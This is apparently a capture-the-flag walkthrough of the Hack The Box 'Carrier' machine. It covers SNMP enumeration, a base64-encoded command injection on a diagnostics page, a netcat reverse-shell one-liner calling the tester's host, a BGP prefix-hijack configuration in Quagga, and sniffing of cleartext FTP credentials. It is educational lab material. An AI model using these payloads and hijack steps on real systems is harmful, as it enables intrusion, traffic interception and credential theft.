Port scans
A fast masscan scan returns only two open ports:
$ masscan -e tun0 -p 1-65535 --rate 2000 10.10.10.105
...
Discovered open port 80/tcp on 10.10.10.105
Discovered open port 22/tcp on 10.10.10.105
With nmap we can see we are in front of a Ubuntu Linux box with OpenSSH and Apache web servers running. Version 2.4.18 of Apache suggests the box is likely Ubuntu Xenial (click):
$ nmap -sV -sC -p 22,80 10.10.10.105
...
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 15:a4:28:77:ee:13:07:06:34:09:86:fd:6f:cc:4c:e2 (RSA)
| 256 37:be:de:07:0f:10:bb:2b:b5:85:f7:9d:92:5e:83:25 (ECDSA)
|_ 256 89:5a:ee:1c:22:02:d2:13:40:f2:45:2e:70:45:b0:c4 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
...
Interestingly, there is also an open UDP port serving SNMP via pysnmp:
$ nmap -sU -sV -sC 10.10.10.105
PORT STATE SERVICE VERSION
67/udp open|filtered dhcps
161/udp open snmp SNMPv1 server; pysnmp SNMPv3 server (public)
| snmp-info:
| enterprise: pysnmp
| engineIDFormat: octets
| engineIDData: 77656201e96908
| snmpEngineBoots: 2
|_ snmpEngineTime: 2d11h10m27s
18666/udp open|filtered unknown
Although masscan worked pretty well for me so far, it did not discover the UDP port on this box. Repeated runs and lower speeds did not change a thing about that. Sometimes it’s worth to shoot an nmap scan even if masscan does not find anything.
Web server
Scanning
First things first: run some fuzzing on the web server to discover hidden directories. I like wfuzz:
$ wfuzz --hc=404 -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.105/FUZZ
...
==================================================================
ID Response Lines Word Chars Payload
==================================================================
000039: C=301 9 L 28 W 310 Ch "img"
000121: C=301 9 L 28 W 312 Ch "tools"
000222: C=301 9 L 28 W 310 Ch "doc"
000550: C=301 9 L 28 W 310 Ch "css"
000953: C=301 9 L 28 W 309 Ch "js"
002771: C=301 9 L 28 W 312 Ch "fonts"
005711: C=301 9 L 28 W 312 Ch "debug"
A similar scan can be run to ensure we don’t miss interesting files:
$ wfuzz --hc=404 -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -z list,txt-pdf-php http://10.10.10.105/FUZZ.FUZ2Z
000045: C=200 63 L 105 W 1509 Ch "index - php"
007071: C=302 0 L 0 W 0 Ch "tickets - php"
008781: C=302 0 L 0 W 0 Ch "dashboard - php"
057168: C=302 0 L 0 W 0 Ch "diag - php"
Exploring
With those scans running, we can open a browser and check things out manually. The first thing you see is a login page for a “Lygthspeed” system:
What immediately catches attention are the two red error messages displayed above the login form. Keep these error codes in mind since they will be important. For now, we can only try a few simple usernames and passwords but none of them get us past the login.
The scans reveal some interesting directories to check out. Besides expected directories such as “img”, “css” and the like, there is “debug”, “tools” and “doc”. At http://10.10.10.105/debug we find a PHP info page telling us more about the PHP configuration (version 7.0.30). The page http://10.10.10.105/tools/remote.php simply says “License expired, exiting…”. At http://10.10.10.105/doc we see a listing of a few PDF files.
The file “diagram_for_tac.png” contains an image of a network topology with three autonomous systems and their numbers. Lyghtspeed networks seems to be AS 100 and connected to two other networks, AS 200 and AS 300.
The other document called “error_codes.pdf” contains explanations for different error codes, including those we saw on the login page. The interesting one is 45009, which states that the admin still uses default credentials which are set to a “chassis serial number”. Sounds like a good username to try could be “admin”, but the password still is a mystery as we do not know this number.
SNMP enumeration
Instead of guessing serial numbers look at SNMP. Since my masscan scan did not show SNMP initially, I’ve wasted way too much time on brute-forcing. Don’t make the same mistake.
From the nmap scan we know it is SNMP version 1, so we can use snmapwalk to enumerate like so:
$ snmpwalk -c public 10.10.10.105 -v 1
Created directory: /var/lib/snmp/mib_indexes
SNMPv2-SMI::mib-2.47.1.1.1.1.11 = STRING: "SN#NET_45JDX23"
End of MIB
Devices usually return myriads of data points but here we get just one. “SN#” sounds a lot like a serial number and indeed, trying “admin” and “NET_45JDX23” to log in works.
Inside the admin area
After login we can see links to four pages. The dashboard and monitoring pages are not very interesting, but tickets and diagnostics are worth a look.
Tickets
The first interesting page is located at the “Tickets” tab and displays a list of
support tickets Lyghtspeed Networks handled. Most are fun to read but to one of
them you should pay closer attention. It seems that a customer had problems
reaching and FTP server in the 10.120.15.10/24
network but now things are back
to normal. This FTP server will have an important role later on.
Diagnostics
The diagnostics page warns about an invalid license and has a single button “Verify Status”. Click it and the output you see is a list of three processes related to a tool called “quagga”, which seems to be running on this machine (or one that it is connected to).
Quagga is open source routing software. It is a free alternative to proprietary software from large vendors like Cisco or Juniper but presumably not used large scale too much (see this interview). Still it’s good for a lab environment like this so this is probably the routing software used by Lyghtspeed Networks to operate it’s AS.
The output of the monitoring command shows that the tool runs. It looks very similar to the what a terminal would print if you run the ps tool to check it. This screen screams command injection.
Inspecting the request in burp there is a strange POST parameter “check=cXVhZ2dh” sent along with the request. This not only looks like but actually is base64 and decodes to “quagga”.
Chances are the tool may just concatenate the strings “ps | grep " and “quagga”
and return the result, so let’s try to terminate this command and execute our
own. Run echo ";id" | base64
to encode the string “;id” to “O2lkCg==” and use
that one in place of the original value of “check”. The output is as displayed
below and proves we executed the id
command. It even proves that we are root. Sounds like jackpot.
Getting a reverse shell is easy now. Encode a suitable payload:
$ echo ";rm /tmp/x;mkfifo /tmp/x;cat /tmp/x|/bin/sh -i 2>&1|nc 10.10.14.122 7001 >/tmp/x" | base64 -w 0
O3JtIC90bXAveDtta2ZpZm8gL3RtcC94O2NhdCAvdG1wL3h8L2Jpbi9zaCAtaSAyPiYxfG5jIDEwLjEwLjE1LjEzMCA3MDAxID4vdG1wL3gK
Now start a listener and use the payload in a new request. You should catch a shell:
$ nc -lnvp 7001
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::7001
Ncat: Listening on 0.0.0.0:7001
Ncat: Connection from 10.10.10.105.
Ncat: Connection from 10.10.10.105:51372.
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# find / -name user.txt 2>/dev/null
/root/user.txt
# cat /root/user.txt
<user-flag-here>
# find / -name root.txt 2>/dev/null
#
Surprisingly, we find the user flag in root’s home folder. The root flag though
is nowhere on this box. Sounds like we will spend more time here, so
upgrade the shell to a fully interactive TTY (as explained e.g.,
here).
Note that there is no python
installed but python3
can be used.
Shell on the box
Finding Quagga
An easy thing to notice is that a restore script runs every 10 minutes:
root@r1:~# cat /var/spool/cron/crontabs/root
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/crontab.m6zD7R/crontab installed on Mon Jul 2 16:40:23 2018)
...
*/10 * * * * /opt/restore.sh
This script stops quagga, restores the configuration, and brings the service back up:
root@r1:~# cat /opt/restore.sh
#!/bin/sh
systemctl stop quagga
killall vtysh
cp /etc/quagga/zebra.conf.orig /etc/quagga/zebra.conf
cp /etc/quagga/bgpd.conf.orig /etc/quagga/bgpd.conf
systemctl start quagga
So what exactly is the configuration. For example, the BGP configuration file looks like this:
root@r1:~# cat /etc/quagga/bgpd.conf.orig
!
! Zebra configuration saved from vty
! 2018/07/02 02:14:27
!
route-map to-as200 permit 10
route-map to-as300 permit 10
!
router bgp 100
bgp router-id 10.255.255.1
network 10.101.8.0/21
network 10.101.16.0/21
redistribute connected
neighbor 10.78.10.2 remote-as 200
neighbor 10.78.11.2 remote-as 300
neighbor 10.78.10.2 route-map to-as200 out
neighbor 10.78.11.2 route-map to-as300 out
!
line vty
!
As expected, this configures the BGP daemon such that it acts as an autonomous system AS 100, connected to two neighbors AS 200 and AS 300
Exploring Quagga
Quagga is a combination of multiple programs. It’s main purpose is to run daemons for the different routing protocols it supports and to allow these daemons to maintain the Linux Kernel routing table in accordance with the protocols. Instead of interacting with the Kernel directly, all protocol daemons use “zebra”, Quaggas routing manager, to change routing. See the docs for an overview.
Quagga supports routing protocols like the Routing Information Protocol (RIP) (RIP-docs), Open Shortest Path First (OSPF) (OSPF-docs) and also the Border Gateway Protocol (BGP) (BGP-docs). Zebra as well as each of these routers all have separate configuration files. On this box, we find files only for Zebra and BGP, suggesting that it is used as a BGP router.
Quagga daemons can not only be configured via files but also interactively. For
that, they each have a separate Telnet-based interface you can usually only
connect to locally. To easy configuration, a tool called vtysh
can be used to
avoid jumping between sessions. See here
for a short intro. With a shell on the box, we can just use “vtysh” without
being asked for a password:
root@r1:~# vtysh
Hello, this is Quagga (version 0.99.24.1).
Copyright 1996-2005 Kunihiro Ishiguro, et al.
By printing the neighbors we can verify our assumptions about the topology of the autonomous systems. Indeed we seem to be AS 100 and connected to AS 200 and 300:
r1# show bgp neigh
BGP neighbor is 10.78.10.2, remote AS 200, local AS 100, external link
BGP version 4, remote router ID 10.255.255.2
BGP state = Established, up for 00:02:40
...
BGP neighbor is 10.78.11.2, remote AS 300, local AS 100, external link
BGP version 4, remote router ID 10.255.255.3
BGP state = Established, up for 00:02:38
...
Furthermore, printing the routes shows which networks can be reached via each of the neighbors and the corresponding local interfaces:
r1# show ip route
Codes: K - kernel route, C - connected, S - static, R - RIP,
O - OSPF, I - IS-IS, B - BGP, P - PIM, A - Babel,
> - selected route, * - FIB route
K>* 0.0.0.0/0 via 10.99.64.1, eth0
C>* 10.78.10.0/24 is directly connected, eth1
C>* 10.78.11.0/24 is directly connected, eth2
C>* 10.99.64.0/24 is directly connected, eth0
B>* 10.100.10.0/24 [20/0] via 10.78.10.2, eth1, 00:00:58
B>* 10.100.11.0/24 [20/0] via 10.78.10.2, eth1, 00:00:58
...
B>* 10.120.15.0/24 [20/0] via 10.78.11.2, eth2, 00:01:01
...
C>* 127.0.0.0/8 is directly connected, lo
Looks like there is a BGP route to the network 10.120.15.0/24, which is the network in which the mysterious FTP server should be.
BGP hijacking
The box runs a BGP daemon, we found pictures of the network topology, and the support tickets are about routing configurations. We found a script to restore the configuration every 10 minutes. In order words, this box must be about BGP hijacking. I’ll start with some BGP background and move on to how it’s done on this box. In the end, we will hijack a route and man-in-the-middle an FTP connection.
Background on BGP
Routing on the Internet is a little more complex than on your private LAN. Many independent companies run big networks of routers, called autonomous systems (AS). Each one is connected to several others. Routing protocols can be subdivided broadly into Interior Gateway Protocols (IGP), which are used within an AS, and Exterior Gateway Protocols (EGP) used for routing across AS boundaries. For IGP, the goal is usually to find the shortest path from source to destination to optimize resource consumption. OSPF is a popular example. BGP is pretty much the only EGP in use and must allow for more complex routing. An AS is usually in some sort of business relationships with an AS it is connected to and wants to implement routing policies that reflect the nature of this relationship. This is what the Quagga BGP routing daemon allows to configure.
In BGP, each AS is identified by a number. For this box, we have 3 AS with numbers 100, 200 and 300. Each AS seems to have only a single router and we have the one of AS 100 under control. Usually, each AS would have many routers. The current configuration looks like so:
r1# sh run
Building configuration...
Current configuration:
!
!
interface eth0
ipv6 nd suppress-ra
no link-detect
!
interface eth1
ipv6 nd suppress-ra
no link-detect
!
interface eth2
ipv6 nd suppress-ra
no link-detect
!
interface lo
no link-detect
!
router bgp 100
bgp router-id 10.255.255.1
network 10.101.8.0/21
network 10.101.16.0/21
redistribute connected
neighbor 10.78.10.2 remote-as 200
neighbor 10.78.10.2 route-map to-as200 out
neighbor 10.78.11.2 remote-as 300
neighbor 10.78.11.2 route-map to-as300 out
!
route-map to-as200 permit 10
!
route-map to-as300 permit 10
!
ip forwarding
!
line vty
!
The way I understand this configuration is as follows. We have 3 network
interfaces, each with IPv6 routing advertisements disabled, and one loopback
interface. The BGP router section defines us as AS 100, sets an ID for the
router and adds two advertisements for the networks 10.101.8.0/21
and
10.101.16.0/21
. redistribute connected
adds all locally connected subnets
to the advertisements. Then, two neighbors at 10.78.10.2
(AS 200) and
10.78.11.2
(AS 300) are defined. For each one a route map is defined that
tags all potentially advertised routes. Subsequently, these routes are
permitted, meaning they are actually advertised (e.g., with route-map to-as200 permit 10
).
Finally, ip forwarding
probably indicates that IP forwarding is enabled.
Provided that the connection to the neighboring routers works, they will now exchange route advertisements like those defined above. An advertisement is an IP range (prefix) combined with a list of AS numbers (the path). For instance, the advertisements our router sends to AS 200 are these:
r1# show ip bgp neighbors 10.78.10.2 advertised-routes
BGP table version is 0, local router ID is 10.255.255.1
Status codes: s suppressed, d damped, h history, * valid, > best, = multipath,
i internal, r RIB-failure, S Stale, R Removed
Origin codes: i - IGP, e - EGP, ? - incomplete
Network Next Hop Metric LocPrf Weight Path
*> 10.78.10.0/24 10.78.10.1 0 32768 ?
*> 10.78.11.0/24 10.78.10.1 0 32768 ?
*> 10.99.64.0/24 10.78.10.1 0 32768 ?
*> 10.101.8.0/21 10.78.10.1 0 32768 i
*> 10.101.16.0/21 10.78.10.1 0 32768 i
*> 10.120.10.0/24 10.78.10.1 0 300 i
*> 10.120.11.0/24 10.78.10.1 0 300 i
*> 10.120.12.0/24 10.78.10.1 0 300 i
*> 10.120.13.0/24 10.78.10.1 0 300 i
*> 10.120.14.0/24 10.78.10.1 0 300 i
*> 10.120.15.0/24 10.78.10.1 0 300 i
*> 10.120.16.0/24 10.78.10.1 0 300 i
*> 10.120.17.0/24 10.78.10.1 0 300 i
*> 10.120.18.0/24 10.78.10.1 0 300 i
*> 10.120.19.0/24 10.78.10.1 0 300 i
*> 10.120.20.0/24 10.78.10.1 0 300 i
Total number of prefixes 18
This list contains the two prefixes 10.101.8.0/21
and 10.101.16.0/21
we saw
up in the config. Their path is “i”, which probably is supposed to mean direct
connection. Three more prefixes 10.78.10.0/24
, 10.78.11.0/24
and
10.99.64.0/24
also have no number in their path. They are the three connected
subnets and the configuration says to advertise these. All the other routes are
for prefixes we have nothing to do with. For example, we advertise a route to
the interesting prefix 10.120.15.0/24
with “300” in the path. This is because
we received an advertisement from AS 300 for this prefix and now advertise this
to 200.
AS 200 will receive this advertisement and could use it to route packets via our router. However, it will also receive the advertisement directly from AS 300 (assuming they actually have a connection). Given these two advertisements, it will usually pick the one with the shortest path. In this case, it will discard ours and send packets directly to AS 300 (The actual decision process is a little more involved. See here for a sample path selection process in Cisco routers).
Note that the Quagga BGP daemon will pick routes and then instruct the Zebra
daemon to install them into the Linux Kernel. In there, Linux will pick from
all routes in the table the one that is most specific (longest prefix match).
For example, if a packet with destination 10.120.15.10
must be forwarded
and two routes 10.120.15.0/24
and 10.120.15.0/25
exist, Linux picks the
latter. This process is not governed by BGP anymore.
This is one way how BGP hijacking can be performed. If an AS advertises a route
to 10.120.15.0/24
we go and advertise two more specific routes 10.120.15.0/25
and 10.120.15.128/25
. Any BGP router accepting these two routes will then
send traffic to us instead of the original AS. Filtering rules may be in place
(e.g., for too specific prefixes, as recommended by the French Cybersecurity
Agency here)
and stop us but let’s just hope for the best and try it.
Performing the attack
Now the fun part. We assume the client will be in AS 200 and connects to the
FTP server in AS 300, subnet 10.120.15.0/24
. As described above, we subdivide
it into two more specific prefixes and advertise both of them to AS 200. The
effect will be that traffic flows through our router.
Two things must be kept in mind for this to work. First, we must not advertise these routes to AS 300. If it puts them into the routing table they will override the existing route to that subnet. Instead of delivering packets to the server it will send them to us. Second, we must not only prevent us advertising these routes but also keep AS 200 from forwarding them to AS 300 (this would have the same effect as a direct advertisement).
The figure above is a sketch of the plan. We advertise 2 specific prefixes to AS 200, which will prefer them over the more general one it gets from AS 300. AS 200 will thus forward packets from the client to us. Since we still get the advertisement from AS 300 we will forward them there, from where they will be delivered to the FTP server. Return packets should usually go their normal route (but we will see it is not the case for this box since the router itself is the client). The configuration for the new advertisements is installed with “vtysh”:
r1# configure terminal
r1(config)# ip prefix-list hijack permit 10.120.15.0/25
r1(config)# ip prefix-list hijack permit 10.120.15.128/25
r1(config)# route-map to-as200 permit 10
r1(config-route-map)# match ip address prefix-list hijack
r1(config-route-map)# set community no-export
r1(config-route-map)# route-map to-as200 permit 20
r1(config-route-map)# route-map to-as300 deny 10
r1(config-route-map)# match ip address prefix-list hijack
r1(config-route-map)# route-map to-as300 permit 20
r1(config-route-map)# router bgp 100
r1(config-router)# network 10.120.15.0/25
r1(config-router)# network 10.120.15.128/25
r1(config-router)# end
To better understand this new configuration, print it out again to see it properly ordered and indented:
r1# sh run
Building configuration...
Current configuration:
!
!
interface eth0
ipv6 nd suppress-ra
no link-detect
!
interface eth1
ipv6 nd suppress-ra
no link-detect
!
interface eth2
ipv6 nd suppress-ra
no link-detect
!
interface lo
no link-detect
!
router bgp 100
bgp router-id 10.255.255.1
network 10.101.8.0/21
network 10.101.16.0/21
network 10.120.15.0/25
network 10.120.15.128/25
redistribute connected
neighbor 10.78.10.2 remote-as 200
neighbor 10.78.10.2 route-map to-as200 out
neighbor 10.78.11.2 remote-as 300
neighbor 10.78.11.2 route-map to-as300 out
!
ip prefix-list hijack seq 5 permit 10.120.15.0/25
ip prefix-list hijack seq 10 permit 10.120.15.128/25
!
route-map to-as200 permit 10
match ip address prefix-list hijack
set community no-export
!
route-map to-as200 permit 20
!
route-map to-as300 deny 10
match ip address prefix-list hijack
!
route-map to-as300 permit 20
!
ip forwarding
!
line vty
!
end
The upper part is the same. The first difference is the additional two networks in the router section. The lower part is crucial to make things work. We define a prefix list called “hijack” with the two specific prefixes inside. These rules are processed top to bottom similar to netfilter rules. “permit” means the prefix belongs to the list. A “deny” would exclude it. More details on that here.
The route map sections behave similarly as well. For “to-as200”, the first section (“10”) applies only if an advertisement matches the prefix list “hijack” and sets the community “no-export”. Communities are a way for one AS to influence how another AS processes an advertisement. Get an overview here. “no-export” instructs AS 200 to not advertise the prefix to any other AS. This is exactly what we want for our two hijack prefixes. All other advertisements do not match the prefix list and are handled by the second section (“20”), which just permits the advertisement unchanged.
For route map “to-as300” we match first on the prefix list and deny in this case. Only advertisements not matching “hijack” are permitted. This effectively filters the advertisements to AS 300.
We can verify that with “vtysh”. Check the routes advertised to AS 200 like this:
r1# show ip bgp neighbors 10.78.10.2 advertised-routes
BGP table version is 0, local router ID is 10.255.255.1
Status codes: s suppressed, d damped, h history, * valid, > best, = multipath,
i internal, r RIB-failure, S Stale, R Removed
Origin codes: i - IGP, e - EGP, ? - incomplete
Network Next Hop Metric LocPrf Weight Path
*> 10.78.10.0/24 10.78.10.1 0 32768 ?
*> 10.78.11.0/24 10.78.10.1 0 32768 ?
*> 10.99.64.0/24 10.78.10.1 0 32768 ?
*> 10.101.8.0/21 10.78.10.1 0 32768 i
*> 10.101.16.0/21 10.78.10.1 0 32768 i
*> 10.120.10.0/24 10.78.10.1 0 300 i
*> 10.120.11.0/24 10.78.10.1 0 300 i
*> 10.120.12.0/24 10.78.10.1 0 300 i
*> 10.120.13.0/24 10.78.10.1 0 300 i
*> 10.120.14.0/24 10.78.10.1 0 300 i
*> 10.120.15.0/24 10.78.10.1 0 300 i
*> 10.120.15.0/25 10.78.10.1 0 32768 i
*> 10.120.15.128/25 10.78.10.1 0 32768 i
*> 10.120.16.0/24 10.78.10.1 0 300 i
*> 10.120.17.0/24 10.78.10.1 0 300 i
*> 10.120.18.0/24 10.78.10.1 0 300 i
*> 10.120.19.0/24 10.78.10.1 0 300 i
*> 10.120.20.0/24 10.78.10.1 0 300 i
Total number of prefixes 18
You see that it contains the two prefixes as expected. Compare it with the advertisements to AS 300, which do not contain them:
r1# show ip bgp neighbors 10.78.11.2 advertised-routes
BGP table version is 0, local router ID is 10.255.255.1
Status codes: s suppressed, d damped, h history, * valid, > best, = multipath,
i internal, r RIB-failure, S Stale, R Removed
Origin codes: i - IGP, e - EGP, ? - incomplete
Network Next Hop Metric LocPrf Weight Path
*> 10.78.10.0/24 10.78.11.1 0 32768 ?
*> 10.78.11.0/24 10.78.11.1 0 32768 ?
*> 10.99.64.0/24 10.78.11.1 0 32768 ?
*> 10.100.10.0/24 10.78.11.1 0 200 i
*> 10.100.11.0/24 10.78.11.1 0 200 i
*> 10.100.12.0/24 10.78.11.1 0 200 i
*> 10.100.13.0/24 10.78.11.1 0 200 i
*> 10.100.14.0/24 10.78.11.1 0 200 i
*> 10.100.15.0/24 10.78.11.1 0 200 i
*> 10.100.16.0/24 10.78.11.1 0 200 i
*> 10.100.17.0/24 10.78.11.1 0 200 i
*> 10.100.18.0/24 10.78.11.1 0 200 i
*> 10.100.19.0/24 10.78.11.1 0 200 i
*> 10.100.20.0/24 10.78.11.1 0 200 i
*> 10.101.8.0/21 10.78.11.1 0 32768 i
*> 10.101.16.0/21 10.78.11.1 0 32768 i
Total number of prefixes 16
Now we are all set and have to wait for the client to connect to the FTP server. I brought a static version of tcpdump onto the box and tuned in (there is one installed but it did not capture anything, no idea why…). Pick any of eth1 or eth2 but not both or you will see the packets twice:
root@r1:/dev/shm/.me# ./tcpdump -enni eth1 port 21
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 262144 bytes
13:58:01.240893 00:16:3e:5b:49:a9 > 00:16:3e:8a:f2:4f, ethertype IPv4 (0x0800), length 74: 10.78.10.2.39156 > 10.120.15.10.21: Flags [S], seq 238980382, win 2
9200, options [mss 1460,sackOK,TS val 1352793799 ecr 0,nop,wscale 7], length 0
13:58:01.241040 00:16:3e:8a:f2:4f > 00:16:3e:5b:49:a9, ethertype IPv4 (0x0800), length 74: 10.120.15.10.21 > 10.78.10.2.39156: Flags [S.], seq 2044658193, ack
238980383, win 28960, options [mss 1460,sackOK,TS val 144101478 ecr 1352793799,nop,wscale 7], length 0
13:58:01.241063 00:16:3e:5b:49:a9 > 00:16:3e:8a:f2:4f, ethertype IPv4 (0x0800), length 66: 10.78.10.2.39156 > 10.120.15.10.21: Flags [.], ack 1, win 229, opti
ons [nop,nop,TS val 1352793799 ecr 144101478], length 0
13:58:01.309136 00:16:3e:8a:f2:4f > 00:16:3e:5b:49:a9, ethertype IPv4 (0x0800), length 86: 10.120.15.10.21 > 10.78.10.2.39156: Flags [P.], seq 1:21, ack 1, wi
n 227, options [nop,nop,TS val 144101546 ecr 1352793799], length 20: FTP: 220 (vsFTPd 3.0.3)
13:58:01.309173 00:16:3e:5b:49:a9 > 00:16:3e:8a:f2:4f, ethertype IPv4 (0x0800), length 66: 10.78.10.2.39156 > 10.120.15.10.21: Flags [.], ack 21, win 229, opt
ions [nop,nop,TS val 1352793867 ecr 144101546], length 0
13:58:01.309347 00:16:3e:5b:49:a9 > 00:16:3e:8a:f2:4f, ethertype IPv4 (0x0800), length 77: 10.78.10.2.39156 > 10.120.15.10.21: Flags [P.], seq 1:12, ack 21, w
in 229, options [nop,nop,TS val 1352793867 ecr 144101546], length 11: FTP: USER root
13:58:01.309398 00:16:3e:8a:f2:4f > 00:16:3e:5b:49:a9, ethertype IPv4 (0x0800), length 66: 10.120.15.10.21 > 10.78.10.2.39156: Flags [.], ack 12, win 227, opt
ions [nop,nop,TS val 144101546 ecr 1352793867], length 0
13:58:01.309584 00:16:3e:8a:f2:4f > 00:16:3e:5b:49:a9, ethertype IPv4 (0x0800), length 100: 10.120.15.10.21 > 10.78.10.2.39156: Flags [P.], seq 21:55, ack 12, win 227, options [nop,nop,TS val 144101546 ecr 1352793867], length 34: FTP: 331 Please specify the password.
13:58:01.309626 00:16:3e:5b:49:a9 > 00:16:3e:8a:f2:4f, ethertype IPv4 (0x0800), length 88: 10.78.10.2.39156 > 10.120.15.10.21: Flags [P.], seq 12:34, ack 55,
win 229, options [nop,nop,TS val 1352793867 ecr 144101546], length 22: FTP: PASS BGPtelc0rout1ng
13:58:01.356261 00:16:3e:8a:f2:4f > 00:16:3e:5b:49:a9, ethertype IPv4 (0x0800), length 66: 10.120.15.10.21 > 10.78.10.2.39156: Flags [.], ack 34, win 227, options [nop,nop,TS val 144101593 ecr 1352793867], length 0
13:58:01.465910 00:16:3e:8a:f2:4f > 00:16:3e:5b:49:a9, ethertype IPv4 (0x0800), length 89: 10.120.15.10.21 > 10.78.10.2.39156: Flags [P.], seq 55:78, ack 34,
win 227, options [nop,nop,TS val 144101703 ecr 1352793867], length 23: FTP: 230 Login successful.
Look closely and you see the two messages “FTP: USER root” and “FTP: PASS BGPtelc0rout1ng”
sent from client “10.78.10.2” to FTP server “10.120.15.10”. If you like it in
Wireshark, add -w capture.pack
to the tcpdump invocation, get the file onto
your machine and open in Wireshark.
FTP login
With the password and IP of the FTP server we can connect, enter passive mode and list files:
root@r1:/dev/shm/.me# ftp 10.120.15.10
Connected to 10.120.15.10.
220 (vsFTPd 3.0.3)
Name (10.120.15.10:root): root
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> pass
Passive mode on.
ftp> dir
227 Entering Passive Mode (10,120,15,10,127,147).
150 Here comes the directory listing.
-r-------- 1 0 0 33 Jul 01 2018 root.txt
-rw------- 1 0 0 33 Mar 09 21:22 secretdata.txt
226 Directory send OK.
There are two of them. The flag and a mysterious other file. Just download both:
ftp> get root.txt
local: root.txt remote: root.txt
227 Entering Passive Mode (10,120,15,10,247,238).
150 Opening BINARY mode data connection for root.txt (33 bytes).
226 Transfer complete.
33 bytes received in 0.00 secs (12.4044 kB/s)
ftp> get secretdata.txt
local: secretdata.txt remote: secretdata.txt
227 Entering Passive Mode (10,120,15,10,170,133).
150 Opening BINARY mode data connection for secretdata.txt (33 bytes).
226 Transfer complete.
33 bytes received in 0.00 secs (93.1404 kB/s)
ftp> quit
221 Goodbye
The flag is in root.txt and we are done. “secretdata.txt” contains another MD5 hash. Many HTB users found this mysterious file (forum). You must explore a little more how the box was made to see what it is. Check out the bonus section of you like.
Bonus
SSH to FTP server
The credentials for the FTP server looked a lot like the root credentials for this server. There was also an SSH server running, so try logging in:
root@r1:/dev/shm/.me# ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-24-generic x86_64)
...
Last login: Sat Mar 9 21:42:33 2019 from 10.120.15.1
root@carrier:~# id
uid=0(root) gid=0(root) groups=0(root)
We are indeed root on a host called carrier. This one seems to be the real box as LXC is installed and multiple containers “r1”, “r2” and “r3” are running.
Inspecting the containers a bit more, we find that “r2” regularly performs the upload via a cron job. “secretdata.txt” is just the file it uploads:
root@carrier:~# cat /var/lib/lxd/storage-pools/default/containers/r2/rootfs/var/spool/cron/crontabs/root
...
*/1 * * * * ftp -n -p 10.120.15.10 < /root/ftpcommands.txt
root@carrier:~# cat /var/lib/lxd/storage-pools/default/containers/r2/rootfs/root/ftpcommands.txt
open 10.120.15.10
user root BGPtelc0rout1ng
put secretdata.txt
quit
root@carrier:~# cat
/var/lib/lxd/storage-pools/default/containers/r2/rootfs/root/secretdata.txt
56484a766247786c5a43456849513d3d
Another interesting thing to look at is the “web” container hosting the vulnerable diagnostics page. Printing it out shows how the insecure handling of user input allows command injection to a remote host it connects to via SSH. This is how we got from the website to the router.
root@carrier:/var/lib/lxd/storage-pools/default/containers/web/rootfs/var/www/html# cat diag.php
...
<?php
$check = base64_decode($_POST["check"]);
if ($check) {
exec("ssh -i /var/www/.ssh/id_rsa [email protected] 'ps waux | grep " . $check . " | grep -v grep'", $output);
foreach($output as $line) {
echo "<p>" . $line . "</p>";
}
}
?>
References
- As for other write-ups, here is the ippsec video and a 0xdf write-up with amazing explanations. Other write-ups are here (root flag needed) and they usually have a different approach. Instead of using tcpdump to listen to the traffic, they turn the router itself into an FTP server and just grab credentials that way. Also doable :)
- The Quagga docs themselves are not terribly helpful to get started unless you know a lot about networking already. For me, these links here helped me to gain some general understanding.
- A BGP hijacking lab task is here. You cannot access or recreate the lab environment but the task description helps a lot.
- The article BGP Routing Policies in ISP Networks does a great job of explaining the various motives ISPs may have to deviate from shortest path routing and how policies are designed.